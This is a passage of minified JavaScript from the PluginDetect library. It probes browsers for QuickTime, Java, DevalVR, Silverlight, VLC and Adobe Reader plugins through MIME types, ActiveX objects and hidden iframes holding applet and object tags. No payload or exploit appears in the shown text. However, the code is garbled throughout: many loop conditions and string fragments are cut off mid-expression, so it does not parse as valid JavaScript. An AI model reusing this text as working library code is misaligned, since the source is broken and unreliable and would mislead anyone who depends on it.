r,q,s,v,w=t.HTML,p=w.length;if(p){for(q=p-1;q>=0;q--){v=w[q];if(v){w[q]=0;t.emptyNode(v.span());t.removeNode(v.span());v.span=0;v.spanObj=0;v.doc=0;v.objectProperty=0}}}r=t.getDiv();t.emptyNode(r);t.removeNode(r);v=0;s=0;r=0;t.div=0},span:function(){var p=this;if(!p.spanObj){p.spanObj=p.doc.getElementById(p.spanId)}return p.spanObj||null},width:function(){var t=this,s=t.span(),q,r,p=-1;q=s&&PluginDetect.isNum(s.scrollWidth)?s.scrollWidth:p;r=s&&PluginDetect.isNum(s.offsetWidth)?s.offsetWidth:p;s=0;return r>0?r:(q>0?q:Math.max(r,q))},obj:function(){var p=this.span();return p?p.firstChild||null:null},readyState:function(){var p=this;return PluginDetect.browser.isIE&&PluginDetect.isDefined(PluginDetect.pd.getPROP(p.span(),"readyState"))?PluginDetect.pd.getPROP(p.obj(),"readyState"):PluginDetect.UNDEFINED},objectProperty:function(){var r=this,q=r.DOM,p;if(q.isEnabled.objectProperty(r)){p=PluginDetect.pd.getPROP(r.obj(),"object")}return p},onLoadHdlr:function(p,q){q.loaded=1},getTagStatus:function(q,A,E,D,t,H,v){var F=this;if(!q||!q.span()){return -2}var y=q.width(),r=q.obj()?1:0,s=q.readyState(),p=q.objectProperty();if(p){return 1.5}var u=/clsid\s*\:/i,C=E&&u.test(E.outerHTML||"")?E:(D&&u.test(D.outerHTML||"")?D:0),w=E&&!u.test(E.outerHTML||"")?E:(D&&!u.test(D.outerHTML||"")?D:0),z=q&&u.test(q.outerHTML||"")?C:w;if(!A||!A.span()||!z||!z.span()){return -2}var x=z.width(),B=A.width(),G=z.readyState();if(y<0||x<0||B<=F.pluginSize){return 0}if(v&&!q.pi&&PluginDetect.isDefined(p)&&PluginDetect.browser.isIE&&q.tagName==z.tagName&&q.time<=z.time&&y===x&&s===0&&G!==0){q.pi=1}if(x.'+PluginDetect.openTag+"/div>");q=s.getElementById(u)}catch(r){}}p=s.getElementsByTagName("body")[0]||s.body;if(p){p.insertBefore(v,p.firstChild);if(q){p.removeChild(q)}}v=0},iframe:{onLoad:function(p,q){PluginDetect.ev.callArray(p);},insert:function(r,q){var s=this,v=PluginDetect.DOM,p,u=document.createElement("iframe"),t;v.setStyle(u,v.getStyle.iframe());u.width=v.iframeWidth;u.height=v.iframeHeight;v.initDiv();p=v.getDiv();p.appendChild(u);try{s.doc(u).open()}catch(w){}u[PluginDetect.uniqueName()]=[];t=PluginDetect.ev.handlerOnce(PluginDetect.isNum(r)&&r>0?PluginDetect.ev.handlerWait(r,s.onLoad,u[PluginDetect.uniqueName()],q):PluginDetect.ev.handler(s.onLoad,u[PluginDetect.uniqueName()],q));PluginDetect.ev.addEvent(u,"load",t);if(!u.onload){u.onload=t}PluginDetect.ev.addEvent(s.win(u),"load",t);return u},addHandler:function(q,p){if(q){PluginDetect.ev.fPush(p,q[PluginDetect.uniqueName()])}},close:function(p){try{this.doc(p).close()}catch(q){}},write:function(p,r){try{this.doc(p).write(r)}catch(q){}},win:function(p){try{return p.contentWindow}catch(q){}return null},doc:function(p){var r;try{r=p.contentWindow.document}catch(q){}try{if(!r){r=p.contentDocument}}catch(q){}return r||null}},insert:function(t,s,u,p,y,w,v){var D=this,F,E,C,B,A;if(!v){D.initDiv();v=D.getDiv()}if(v){if((/div/i).test(v.tagName)){B=v.ownerDocument}if((/iframe/i).test(v.tagName)){B=D.iframe.doc(v)}}if(B&&B.createElement){}else{B=document}if(!PluginDetect.isDefined(p)){p=""}if(PluginDetect.isString(t)&&(/[^\s]/).test(t)){t=t.toLowerCase().replace(/\s/g,"");F=PluginDetect.openTag+t+" ";F+='style="'+D.getStyle.plugin(w)+'" ';var r=1,q=1;for(A=0;A"}else{F+=">";for(A=0;A'}}F+=p+PluginDetect.openTag+"/"+t+">"}}else{t="";F=p}E={spanId:"",spanObj:null,span:D.span,loaded:null,tagName:t,outerHTML:F,DOM:D,time:new Date().getTime(),width:D.width,obj:D.obj,readyState:D.readyState,objectProperty:D.objectProperty,doc:B};if(v&&v.parentNode){if((/iframe/i).test(v.tagName)){D.iframe.addHandler(v,[D.onLoadHdlr,E]);E.loaded=0;E.spanId=PluginDetect.name+"Span"+D.HTML.length;C=''+F+"";D.iframe.write(v,C)}else{if((/div/i).test(v.tagName)){C=B.createElement("span");D.setStyle(C,D.getStyle.span());v.appendChild(C);try{C.innerHTML=F}catch(z){}E.spanObj=C}}}C=0;v=0;D.HTML.push(E);return E}},file:{any:"fileStorageAny999",valid:"fileStorageValid999",save:function(s,t,r){var q=this,p;if(s&&PluginDetect.isDefined(r)){if(!s[q.any]){s[q.any]=[]}if(!s[q.valid]){s[q.valid]=[]}s[q.any].push(r);p=q.split(t,r);if(p){s[q.valid].push(p)}}},getValidLength:function(p){return p&&p[this.valid]?p[this.valid].length:0},getAnyLength:function(p){return p&&p[this.any]?p[this.any].length:0},getValid:function(r,p){var q=this;return r&&r[q.valid]?q.get(r[q.valid],p):null},getAny:function(r,p){var q=this;return r&&r[q.any]?q.get(r[q.any],p):null},get:function(s,p){var r=s.length-1,q=PluginDetect.isNum(p)?p:r;return(q<0||q>r)?null:s[q]},split:function(t,q){var s=null,p,r;t=t?t.replace(".","\\."):"";r=new RegExp("^(.*[^\\/])("+t+"\\s*)$");if(PluginDetect.isString(q)&&r.test(q)){p=(RegExp.$1).split("/");s={name:p[p.length-1],ext:RegExp.$2,full:q};p[p.length-1]="";s.path=p.join("/")}return s}},Plugins:{}};PluginDetect.init.library();var i={setPluginStatus:function(q,p,s){var r=this;r.version=p?PluginDetect.formatNum(p,3):null;r.installed=r.version?1:(s?(s>0?0.7:-0.1):(q?0:-1));r.getVersionDone=r.installed==0.7||r.installed==-0.1||r.nav.done===0?0:1;},getVersion:function(s,t){var u=this,p=null,r=0,q;t=PluginDetect.browser.isIE?0:t;if((!r||PluginDetect.dbug)&&u.nav.query(t).installed){r=1}if((!p||PluginDetect.dbug)&&u.nav.query(t).version){p=u.nav.version}q=!p?u.codebase.isMin(s):0;if(q){u.setPluginStatus(0,0,q);return}if(!p||PluginDetect.dbug){q=u.codebase.search();if(q){r=1;p=q}}if((!r||PluginDetect.dbug)&&u.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&u.axo.query().version){p=u.axo.version}u.setPluginStatus(r,p)},nav:{done:null,installed:0,version:null,result:[0,0],mimeType:["video/quicktime","application/x-quicktimeplayer","image/x-macpaint","image/x-quicktime","application/x-rtsp","application/x-sdp","application/sdp","audio/vnd.qcelp","video/sd-video","audio/mpeg","video/mp4","video/3gpp2","application/x-mpeg","audio/x-m4b","audio/x-aac","video/flc"],find:"QuickTime.*Plug-?in",find2:"QuickTime.*Plug-?in",find3filename:"QuickTime|QT",avoid:"Totem|VLC|RealPlayer|Helix|MPlayer|Windows\\s*Media\\s*Player",plugins:"QuickTime Plug-in",detect:function(s){var t=this,r,q,p={installed:0,version:null,plugin:null};r=PluginDetect.pd.findNavPlugin({find:t.find,find2:s?0:t.find2,avoid:s?0:t.avoid,mimes:t.mimeType,plugins:t.plugins});if(r){p.plugin=r;p.installed=1;q=new RegExp(t.find,"i");if(r.name&&q.test(r.name+"")){p.version=PluginDetect.getNum(r.name+"")}}return p},query:function(r){var q=this,t,s;r=r?1:0;if(q.done===null){if(PluginDetect.hasMimeType(q.mimeType)){s=q.detect(1);if(s.installed){t=q.detect(0);q.result=[t,t.installed?t:s]}var x=q.result[0],v=q.result[1],w=new RegExp(q.avoid,"i"),u=new RegExp(q.find3filename,"i"),p;x=x?x.plugin:0;v=v?v.plugin:0;if(!x&&v&&v.name&&(!v.description||(/^[\s]*$/).test(v.description+""))&&!w.test(v.name+"")){p=(v.filename||"")+"";if((/^.*[\\\/]([^\\\/]*)$/).test(p)){p=RegExp.$1;}if(p&&u.test(p)&&!w.test(p)){q.result[0]=q.result[1]}}}q.done=q.result[0]===q.result[1]?1:0;}if(q.result[r]){q.installed=q.result[r].installed;q.version=q.result[r].version}return q}},codebase:{classID:"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B",isMin:function(r){var s=this,q,p=0;s.$$=i;if(PluginDetect.isStrNum(r)){q=r.split(PluginDetect.splitNumRegx);if(q.length>3&&parseInt(q[3],10)>0){q[3]="9999"}r=q.join(",");p=PluginDetect.codebase.isMin(s,r)}return p},search:function(){this.$$=i;return PluginDetect.codebase.search(this)},DIGITMAX:[[12,11,11],[7,60],[7,11,11],0,[7,11,11]],DIGITMIN:[5,0,0,0],Upper:["999","7,60","7,50","7,6","7,5"],Lower:["7,60","7,50","7,6","7,5","0"],convert:[1,function(r,q){return q?[r[0],r[1]+r[2],r[3],"0"]:[r[0],r[1].charAt(0),r[1].charAt(1),r[2]]},1,0,1]},axo:{hasRun:0,installed:0,version:null,progID:["QuickTimeCheckObject.QuickTimeCheck","QuickTimeCheckObject.QuickTimeCheck.1"],progID0:"QuickTime.QuickTime",query:function(){var r=this,t,p,q,s=r.hasRun||!PluginDetect.browser.ActiveXEnabled;r.hasRun=1;if(s){return r}for(p=0;p0?0.7:-0.1):(v?1:(p?-0.2:-1))}if(t.OTF==2&&t.NOTF&&!t.applet.getResult()[0]){t.installed=p?-0.2:-1}if(t.OTF==3&&t.installed!=-0.5&&t.installed!=0.5){t.installed=(t.NOTF.isJavaActive(1)>=1?0.5:-0.5)}if(t.OTF==4&&(t.installed==-0.5||t.installed==0.5)){if(v){t.installed=1}else{if(q){t.installed=q>0?0.7:-0.1}else{if(t.NOTF.isJavaActive(1)>=1){if(p){t.installed=1;v=p}else{t.installed=0}}else{if(p){t.installed=-0.2}else{t.installed=-1}}}}}if(p){t.version0=PluginDetect.formatNum(PluginDetect.getNum(p))}if(v&&!q){t.version=PluginDetect.formatNum(PluginDetect.getNum(v))}if(w&&PluginDetect.isString(w)){t.vendor=w}if(!t.vendor){t.vendor=""}if(t.verify&&t.verify.isEnabled()){t.getVersionDone=0}else{if(t.getVersionDone!=1){if(t.OTF<2){t.getVersionDone=0}else{t.getVersionDone=t.applet.can_Insert_Query_Any()?0:1}}}},DTK:{hasRun:0,status:null,VERSIONS:[],version:"",HTML:null,Plugin2Status:null,classID:["clsid:CAFEEFAC-DEC7-0000-0001-ABCDEFFEDCBA","clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA"],mimeType:["application/java-deployment-toolkit","application/npruntime-scriptable-plugin;DeploymentToolkit"],isDisabled:function(p){var q=this;if(q.HTML){return 1}if(p||PluginDetect.dbug){return 0}if(q.hasRun||!PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){return 1}return 0},query:function(B){var z=this,t=a,A,v,p=PluginDetect.DOM.altHTML,u={},q,s=null,w=null,r=z.isDisabled(B);z.hasRun=1;if(r){return z}z.status=0;if(PluginDetect.DOM.isEnabled.objectTagUsingActiveX()){for(A=0;A0?1:-1;for(A=0;A0){p.version=q;p.mimeObj=s;p.pluginObj=r;p.mimetype=s.type;}}},query:function(){var t=this,s=a,w,v,B,A,z,r,q=navigator.mimeTypes,p=t.isDisabled();t.hasRun=1;if(p){return t}r=q.length;if(PluginDetect.isNum(r)){for(w=0;w=5){p="1,"+RegExp.$1+","+(RegExp.$2?RegExp.$2:"0")+","+(RegExp.$3?RegExp.$3:"0");}return p},getPluginNum:function(){var s=this,q=a,p=0,u,t,r,w,v=0;r=/Java[^\d]*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,num:1,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}if(!p){r=/Java.*\d.*Plug-in/i;w=PluginDetect.pd.findNavPlugin({find:r,mimes:q.mimeType,plugins:1,dbug:v});if(w){u=s.checkPluginNum(w.description,r);t=s.checkPluginNum(w.name,r);p=u&&t?(PluginDetect.compareNums(u,t)>0?u:t):(u||t)}}return p},checkPluginNum:function(s,r){var p,q;p=r.test(s)?PluginDetect.formatNum(PluginDetect.getNum(s)):0;if(p&&PluginDetect.compareNums(p,PluginDetect.formatNum("10"))>=0){q=p.split(PluginDetect.splitNumRegx);p=PluginDetect.formatNum("1,"+(parseInt(q[0],10)-3)+",0,"+q[1])}if(p&&(PluginDetect.compareNums(p,PluginDetect.formatNum("1,3"))<0||PluginDetect.compareNums(p,PluginDetect.formatNum("2"))>=0)){p=0}return p},query:function(){var t=this,s=a,r,p=0,q=t.hasRun||!s.navigator.mimeObj;t.hasRun=1;if(q){return t}if(!p||PluginDetect.dbug){r=t.getPlatformNum();if(r){p=r}}if(!p||PluginDetect.dbug){r=t.getPluginNum();if(r){p=r}}if(p){t.version=PluginDetect.formatNum(p)}return t}},applet:{codebase:{isMin:function(p){this.$$=a;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=a;return PluginDetect.codebase.search(this)},DIGITMAX:[[15,128],[6,0,512],0,[1,5,2,256],0,[1,4,1,1],[1,4,0,64],[1,3,2,32]],DIGITMIN:[1,0,0,0],Upper:["999","10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4"],Lower:["10","5,0,20","1,5,0,20","1,4,1,20","1,4,1,2","1,4,1","1,4","0"],convert:[function(r,q){return q?[parseInt(r[0],10)>1?"99":parseInt(r[1],10)+3+"",r[3],"0","0"]:["1",parseInt(r[0],10)-3+"","0",r[1]]},function(r,q){return q?[r[1],r[2],r[3]+"0","0"]:["1",r[0],r[1],r[2].substring(0,r[2].length-1||1)]},0,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},0,1,function(r,q){return q?[r[0],r[1],r[2],r[3]+"0"]:[r[0],r[1],r[2],r[3].substring(0,r[3].length-1||1)]},1]},results:[[null,null],[null,null],[null,null],[null,null]],getResult:function(){var q=this,s=q.results,p,r=[];for(p=s.length-1;p>=0;p--){r=s[p];if(r[0]){break}}r=[].concat(r);return r},DummySpanTagHTML:0,HTML:[0,0,0,0],active:[0,0,0,0],DummyObjTagHTML:0,DummyObjTagHTML2:0,allowed:[1,1,1,1],VerifyTagsHas:function(q){var r=this,p;for(p=0;pp-1&&PluginDetect.isNum(r[p-1])){if(r[p-1]<0){r[p-1]=0}if(r[p-1]>3){r[p-1]=3}q.allowed[p]=r[p-1]}}q.allowed[0]=q.allowed[3];}},setVerifyTagsArray:function(r){var q=this,p=a;if(p.getVersionDone===null){q.saveAsVerifyTagsArray(p.getVerifyTagsDefault())}if(PluginDetect.dbug){q.saveAsVerifyTagsArray([3,3,3])}else{if(r){q.saveAsVerifyTagsArray(r)}}},isDisabled:{single:function(q){var p=this;if(p.all()){return 1}if(q==1){return !PluginDetect.DOM.isEnabled.objectTag()}if(q==2){return p.AppletTag()}if(q===0){return PluginDetect.codebase.isDisabled()}if(q==3){return !PluginDetect.DOM.isEnabled.objectTagUsingActiveX()}return 1},all_:null,all:function(){var r=this,t=a,q=t.navigator,p,s=PluginDetect.browser;if(r.all_===null){if((s.isOpera&&PluginDetect.compareNums(s.verOpera,"13,0,0,0")<0&&!q.javaEnabled())||(r.AppletTag()&&!PluginDetect.DOM.isEnabled.objectTag())||(!q.mimeObj&&!s.isIE)){p=1}else{p=0}r.all_=p}return r.all_},AppletTag:function(){var q=a,p=q.navigator;return PluginDetect.browser.isIE?!p.javaEnabled():0},VerifyTagsDefault_1:function(){var q=PluginDetect.browser,p=1;if(q.isIE&&!q.ActiveXEnabled){p=0}if((q.isIE&&q.verIE<9)||(q.verGecko&&PluginDetect.compareNums(q.verGecko,PluginDetect.formatNum("2"))<0)||(q.isSafari&&(!q.verSafari||PluginDetect.compareNums(q.verSafari,PluginDetect.formatNum("4"))<0))||(q.isOpera&&PluginDetect.compareNums(q.verOpera,PluginDetect.formatNum("11"))<0)){p=0}return p}},can_Insert_Query:function(s){var q=this,r=q.results[0][0],p=q.getResult()[0];if(q.HTML[s]||(s===0&&r!==null&&!q.isRange(r))||(s===0&&p&&!q.isRange(p))){return 0}return !q.isDisabled.single(s)},can_Insert_Query_Any:function(){var q=this,p;for(p=0;p0||!r.isRange(p));if(!r.can_Insert_Query(s)||t[s]===0){return 0}if(t[s]==3||(t[s]==2.8&&!p)){return 1}if(!q.nonAppletDetectionOk(q.version0)){if(t[s]==2||(t[s]==1&&!p)){return 1}}return 0},should_Insert_Query_Any:function(){var q=this,p;for(p=0;p]/).test(p||"")?(p.charAt(0)==">"?1:-1):0},setRange:function(q,p){return(q?(q>0?">":"<"):"")+(PluginDetect.isString(p)?p:"")},insertJavaTag:function(z,w,p,s,D){var t=a,v="A.class",A=PluginDetect.file.getValid(t),y=A.name+A.ext,x=A.path;var u=["archive",y,"code",v],E=(s?["width",s]:[]).concat(D?["height",D]:[]),r=["mayscript","true"],C=["scriptable","true","codebase_lookup","false"].concat(r),B=t.navigator,q=!PluginDetect.browser.isIE&&B.mimeObj&&B.mimeObj.type?B.mimeObj.type:t.mimeType[0];if(z==1){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert("object",["type",q].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w)}if(z==2){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("applet",["alt",p].concat(r).concat(u).concat(E),["codebase",x].concat(C),p,t,0,w):PluginDetect.DOM.insert("applet",["codebase",x,"alt",p].concat(r).concat(u).concat(E),[].concat(C),p,t,0,w)}if(z==3){return PluginDetect.browser.isIE?PluginDetect.DOM.insert("object",["classid",t.classID].concat(E),["codebase",x].concat(u).concat(C),p,t,0,w):PluginDetect.DOM.insert()}if(z==4){return PluginDetect.DOM.insert("embed",["codebase",x].concat(u).concat(["type",q]).concat(C).concat(E),[],p,t,0,w)}return PluginDetect.DOM.insert()},insertIframe:function(p){return PluginDetect.DOM.iframe.insert(99,p)},insert_Query_Any:function(w){var q=this,r=a,y=PluginDetect.DOM,u=q.results,x=q.HTML,p=y.altHTML,t,s,v=PluginDetect.file.getValid(r);if(q.should_Insert_Query(0)){if(r.OTF<2){r.OTF=2}u[0]=[0,0];t=w?q.codebase.isMin(w):q.codebase.search();if(t){u[0][0]=w?q.setRange(t,w):t}q.active[0]=t?1.5:-1}if(!v){return q.getResult()}if(!q.DummySpanTagHTML){s=q.insertIframe("applet.DummySpanTagHTML");q.DummySpanTagHTML=y.insert("",[],[],p,0,0,s);y.iframe.close(s)}if(q.should_Insert_Query(1)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[1]");x[1]=q.insertJavaTag(1,s,p);y.iframe.close(s);u[1]=[0,0];q.query(1)}if(q.should_Insert_Query(2)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[2]");x[2]=q.insertJavaTag(2,s,p);y.iframe.close(s);u[2]=[0,0];q.query(2)}if(q.should_Insert_Query(3)){if(r.OTF<2){r.OTF=2}s=q.insertIframe("applet.HTML[3]");x[3]=q.insertJavaTag(3,s,p);y.iframe.close(s);u[3]=[0,0];q.query(3)}if(y.isEnabled.objectTag()){if(!q.DummyObjTagHTML&&(x[1]||x[2])){s=q.insertIframe("applet.DummyObjTagHTML");q.DummyObjTagHTML=y.insert("object",["type",r.mimeType_dummy],[],p,0,0,s);y.iframe.close(s)}if(!q.DummyObjTagHTML2&&x[3]){s=q.insertIframe("applet.DummyObjTagHTML2");q.DummyObjTagHTML2=y.insert("object",["classid",r.classID_dummy],[],p,0,0,s);y.iframe.close(s)}}r.NOTF.init();return q.getResult()}},NOTF:{count:0,count2:0,countMax:25,intervalLength:250,init:function(){var q=this,p=a;if(p.OTF<3&&q.shouldContinueQuery()){p.OTF=3;PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength);}},allHTMLloaded:function(){var r=a.applet,q,p=[r.DummySpanTagHTML,r.DummyObjTagHTML,r.DummyObjTagHTML2].concat(r.HTML);for(q=0;q2){return p}}else{t.count2=t.count}for(q=0;q=2||(r.allowed[q]==1&&!r.getResult()[0]))&&(!t.count||t.isAppletActive(q)>=0)){p=1}}}return p},isJavaActive:function(s){var u=this,r=a,p,q,t=-9;for(p=0;pt){t=q}}return t},isAppletActive:function(t,u){var v=this,q=a,A=q.navigator,p=q.applet,w=p.HTML[t],s=p.active,z,r=0,y,B=s[t];if(u||B>=1.5||!w||!w.span()){return B}y=PluginDetect.DOM.getTagStatus(w,p.DummySpanTagHTML,p.DummyObjTagHTML,p.DummyObjTagHTML2,v.count);for(z=0;z0){r=1}}if(y!=1){B=y}else{if(PluginDetect.browser.isIE||(q.version0&&A.javaEnabled()&&A.mimeObj&&(w.tagName=="object"||r))){B=1}else{B=0}}s[t]=B;return B},onIntervalQuery:function(){var q=a.NOTF,p;q.count++;if(a.OTF==3){p=q.queryAllApplets();if(!q.shouldContinueQuery()){q.queryCompleted(p)}}if(a.OTF==3){PluginDetect.ev.setTimeout(q.onIntervalQuery,q.intervalLength)}},queryAllApplets:function(){var t=this,s=a,r=s.applet,q,p;for(q=0;q=4){return}q.OTF=4;r.isJavaActive();q.setPluginStatus(p[0],p[1],0);PluginDetect.ev.callArray(q.DoneHndlrs);}}};PluginDetect.addPlugin("java",a);var m={getVersion:function(){var r=this,p=null,q;if((!q||PluginDetect.dbug)&&r.nav.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.nav.query().version){p=r.nav.version}if((!q||PluginDetect.dbug)&&r.axo.query().installed){q=1}if((!p||PluginDetect.dbug)&&r.axo.query().version){p=r.axo.version}r.installed=p?1:(q?0:-1);r.version=PluginDetect.formatNum(p)},nav:{hasRun:0,installed:0,version:null,mimeType:"application/x-devalvrx",query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:"DevalVR.*Plug-?in",mimes:s.mimeType,plugins:"DevalVR 3D Plugin"});if(r&&(/Plug-?in(.*)/i).test(r.description||"")){p=PluginDetect.getNum(RegExp.$1)}if(r){s.installed=1}if(p){s.version=p}return s}},axo:{hasRun:0,installed:0,version:null,progID:["DevalVRXCtrl.DevalVRXCtrl","DevalVRXCtrl.DevalVRXCtrl.1"],classID:"clsid:5D2CF9D0-113A-476B-986F-288B54571614",query:function(){var s=this,v=m,q,p,u,r,t=s.hasRun;s.hasRun=1;if(t){return s}for(p=0;p=30226){p[0]="2"}q=p.join(",")}if(q){t.version=q}return t}},axo:{hasRun:0,installed:0,version:null,progID:"AgControl.AgControl",maxdigit:[20,10,10,100,100,10],mindigit:[0,0,0,0,0,0],IsVersionSupported:function(s,q){var p=this;try{return p.testVersion?PluginDetect.compareNums(PluginDetect.formatNum(p.testVersion.join(",")),PluginDetect.formatNum(q.join(",")))>=0:s.IsVersionSupported(p.format(q))}catch(r){}return 0},format:function(q){var p=this;return(q[0]+"."+q[1]+"."+q[2]+p.make2digits(q[3])+p.make2digits(q[4])+"."+q[5])},make2digits:function(p){return(p<10?"0":"")+p+""},query:function(){var r=this,q,v,s=r.hasRun;r.hasRun=1;if(s){return r}v=PluginDetect.getAXO(r.progID);if(v){r.installed=1}if(v&&r.IsVersionSupported(v,r.mindigit)){var p=[].concat(r.mindigit),u,t=0;for(q=0;q1&&u<20){u++;t++;p[q]=Math.round((r.maxdigit[q]+r.mindigit[q])/2);if(r.IsVersionSupported(v,p)){r.mindigit[q]=p[q]}else{r.maxdigit[q]=p[q]}}p[q]=r.mindigit[q]}r.version=r.format(p);}return r}}};PluginDetect.addPlugin("silverlight",h);var f={compareNums:function(s,r){var A=s.split(PluginDetect.splitNumRegx),y=r.split(PluginDetect.splitNumRegx),w,q,p,v,u,z;for(w=0;w0)?RegExp.$2.charCodeAt(0):-1;z=/([\d]+)([a-z]?)/.test(y[w]);p=parseInt(RegExp.$1,10);u=(w==2&&RegExp.$2.length>0)?RegExp.$2.charCodeAt(0):-1;if(q!=p){return(q>p?1:-1)}if(w==2&&v!=u){return(v>u?1:-1)}}return 0},setPluginStatus:function(r,p,s){var q=this;q.installed=p?1:(s?(s>0?0.7:-0.1):(r?0:-1));if(p){q.version=PluginDetect.formatNum(p)}q.getVersionDone=q.installed==0.7||q.installed==-0.1?0:1;},getVersion:function(s){var t=this,r,p=null,q;if((!r||PluginDetect.dbug)&&t.nav.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.nav.query().version){p=t.nav.version}if((!r||PluginDetect.dbug)&&t.axo.query().installed){r=1}if((!p||PluginDetect.dbug)&&t.axo.query().version){p=t.axo.version}if(!p||PluginDetect.dbug){q=t.codebase.isMin(s);if(q){t.setPluginStatus(0,0,q);return}}if(!p||PluginDetect.dbug){q=t.codebase.search();if(q){r=1;p=q}}t.setPluginStatus(r,p,0)},nav:{hasRun:0,installed:0,version:null,mimeType:["application/x-vlc-plugin","application/x-google-vlc-plugin","application/mpeg4-muxcodetable","application/x-matroska","application/xspf+xml","video/divx","video/webm","video/x-mpeg","video/x-msvideo","video/ogg","audio/x-flac","audio/amr","audio/amr"],find:"VLC.*Plug-?in",find2:"VLC|VideoLAN",avoid:"Totem|Helix",plugins:["VLC Web Plugin","VLC Multimedia Plug-in","VLC Multimedia Plugin","VLC multimedia plugin"],query:function(){var s=this,p,r,q=s.hasRun||!PluginDetect.hasMimeType(s.mimeType);s.hasRun=1;if(q){return s}r=PluginDetect.pd.findNavPlugin({find:s.find,avoid:s.avoid,mimes:s.mimeType,plugins:s.plugins});if(r){s.installed=1;if(r.description){p=PluginDetect.getNum(r.description+"","[\\d][\\d\\.]*[a-z]*")}if(p){s.version=p}}return s}},axo:{hasRun:0,installed:0,version:null,progID:"VideoLAN.VLCPlugin",query:function(){var q=this,s,p,r=q.hasRun;q.hasRun=1;if(r){return q}s=PluginDetect.getAXO(q.progID);if(s){q.installed=1;p=PluginDetect.getNum(PluginDetect.pd.getPROP(s,"VersionInfo"),"[\\d][\\d\\.]*[a-z]*");if(p){q.version=p}}return q}},codebase:{classID:"clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921",isMin:function(p){this.$$=f;return PluginDetect.codebase.isMin(this,p)},search:function(){this.$$=f;return PluginDetect.codebase.search(this)},DIGITMAX:[[11,11,16]],DIGITMIN:[0,0,0,0],Upper:["999"],Lower:["0"],convert:[1]}};PluginDetect.addPlugin("vlc",f);var c={OTF:null,setPluginStatus:function(){var p=this,B=p.OTF,v=p.nav.detected,x=p.nav.version,z=p.nav.precision,C=z,u=x,s=v>0;var H=p.axo.detected,r=p.axo.version,w=p.axo.precision,D=p.doc.detected,G=p.doc.version,t=p.doc.precision,E=p.doc2.detected,F=p.doc2.version,y=p.doc2.precision;u=F||u||r||G;C=y||C||w||t;s=E>0||s||H>0||D>0;u=u||null;p.version=PluginDetect.formatNum(u);p.precision=C;var q=-1;if(B==3){q=p.version?0.5:-0.5}else{if(u){q=1}else{if(s){q=0}else{if(H==-0.5||D==-0.5){q=-0.15}else{if(PluginDetect.browser.isIE&&(!PluginDetect.browser.ActiveXEnabled||PluginDetect.browser.ActiveXFilteringEnabled)){q=-1.5}}}}}p.installed=q;if(p.getVersionDone!=1){var A=1;if((p.verify&&p.verify.isEnabled())||p.installed==0.5||p.installed==-0.5){A=0}else{if(p.doc2.isDisabled()==1){A=0}}p.getVersionDone=A}},getVersion:function(s,r){var p=this,q=0,t=p.verify;if(p.getVersionDone===null){p.OTF=0;if(t){t.init()}}PluginDetect.file.save(p,".pdf",r);if(p.getVersionDone===0){p.doc2.insertHTMLQuery();p.setPluginStatus();return}if((!q||PluginDetect.dbug)&&p.nav.query().version){q=1}if((!q||PluginDetect.dbug)&&p.axo.query().version){q=1}if((!q||PluginDetect.dbug)&&p.doc.query().version){q=1}if(1){p.doc2.insertHTMLQuery()}p.setPluginStatus()},getPrecision:function(v,u,t){if(PluginDetect.isString(v)){u=u||"";t=t||"";var q,s="\\d+",r="[\\.]",p=[s,s,s,s];for(q=4;q>0;q--){if((new RegExp(u+p.slice(0,q).join(r)+t)).test(v)){return q}}}return 0},nav:{detected:0,version:null,precision:0,mimeType:["application/pdf","application/vnd.adobe.pdfxml"],find:"Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in",plugins:["Adobe Acrobat","Adobe Acrobat and Reader Plug-in","Adobe Reader Plugin"],query:function(){var r=this,q,p=null;if(r.detected||!PluginDetect.hasMimeType(r.mimeType)){return r}q=PluginDetect.pd.findNavPlugin({find:r.find,mimes:r.mimeType,plugins:r.plugins});r.detected=q?1:-1;if(q){p=PluginDetect.getNum(q.description)||PluginDetect.getNum(q.name);p=PluginDetect.getPluginFileVersion(q,p);if(!p){p=r.attempt3()}if(p){r.version=p;r.precision=c.getPrecision(p)}}return r},attempt3:function(){var p=null;if(PluginDetect.OS==1){if(PluginDetect.hasMimeType("application/vnd.adobe.pdfxml")){p="9"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.x-mars")){p="8"}else{if(PluginDetect.hasMimeType("application/vnd.adobe.xfdf")){p="6"}}}}return p}},activexQuery:function(w){var u="",t,q,s,r,p={precision:0,version:null};try{if(w){u=w.GetVersions()+"";}}catch(v){}if(u&&PluginDetect.isString(u)){t=/\=\s*[\d\.]+/g;r=u.match(t);if(r){for(q=0;q0)){p.version=s}}p.precision=c.getPrecision(u,"\\=\\s*")}}return p},axo:{detected:0,version:null,precision:0,progID:["AcroPDF.PDF","AcroPDF.PDF.1","PDF.PdfCtrl","PDF.PdfCtrl.5","PDF.PdfCtrl.1"],progID_dummy:"AcroDUMMY.DUMMY",query:function(){var t=this,q=c,u,v,s,r,p,w;if(t.detected){return 